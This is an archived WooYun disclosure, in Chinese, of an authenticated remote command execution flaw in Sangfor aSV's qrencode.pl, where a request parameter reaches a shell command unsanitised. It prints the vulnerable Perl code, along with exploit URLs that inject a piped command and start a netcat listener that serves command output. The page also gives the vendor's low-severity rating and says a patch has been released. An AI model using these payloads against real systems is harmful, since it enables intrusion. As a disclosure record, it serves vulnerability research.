当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145283

漏洞标题:深信服aSV漏洞第一弹之Remote Code Execution

相关厂商:深信服

漏洞作者: 路人甲

提交时间:2015-10-08 11:20

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:远程代码执行

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-08: 细节已通知厂商并且等待厂商处理中
2015-10-09: 厂商已经确认,细节仅向厂商公开
2015-10-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-03: 细节向核心白帽子及相关领域专家公开
2015-12-13: 细节向普通白帽子公开
2015-12-23: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

perl脚本有问题,有软waf也没用

详细说明:

利用此漏洞前提:需要登陆aSV控制台
而且权限较低(www-data),所以自评漏洞为中
问题代码出在qrencode.pl上,程序猿自己回去检查

#!/usr/bin/perl -w
#1、获取传入参数
my $r = Apache2::RequestUtil->request();
my $cgi = CGI->new($r);
my $need_encode_intext = $cgi->param( 'need_encode_intext' );
exit (0) if(!defined($need_encode_intext) || ($need_encode_intext eq ""));
#2、根据传入参数得到二维码图片
my $qrencode_png_name = 'tmp_qrencode.png';
my $qrencode_png_path = "/tmp/$qrencode_png_name";
my $errmsg="";
eval {
#如果图片存在,那么就删除
if(-f $qrencode_png_path) {
unlink $qrencode_png_path or lerror("Failed unlink ${qrencode_png_path}, err: $!");
}
#转换得到二维码图片
my $cmdstr = "/usr/bin/qrencode -o ${qrencode_png_path} ${need_encode_intext}";
VTP::Tools::run_command($cmdstr,errfunc => sub { $errmsg = $errmsg . shift . "\n"; });
};


你们懂的,问题出在my $cmdstr = "/usr/bin/qrencode -o ${qrencode_png_path} ${need_encode_intext}";
登陆aSV后访问

/qrencode.pl?need_encode_intext=123|系统命令


即可执行系统命令,不过这里继承了apache的用户组www-data,所以权限较低
那么要怎么样获得命令回显呢,利用NC的-c参数

/qrencode.pl?need_encode_intext=123|nc -nnvl -p 5500 -c 'id'


访问上面URL后telnet aSV的5500端口即可看到命令回显

1.png

漏洞证明:

1.png

修复方案:

你们懂的

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-10-09 12:52

厂商回复:

感谢白帽子提交的问题。经确认,该漏洞确实存在,不过需要先登录控制台才能利用此漏洞,利用此漏洞不能读取到任何业务数据,且权限过低,也无法进行写入操作,并不能对业务数据造成影响,考虑以上因素,我们将此漏洞危害等级评为低。目前针对该漏洞的补丁包已经发布。
感谢白帽子为我们指出问题,请白帽子私信留下联系方式,我们将为您寄送礼物以示答谢!

最新状态:

暂无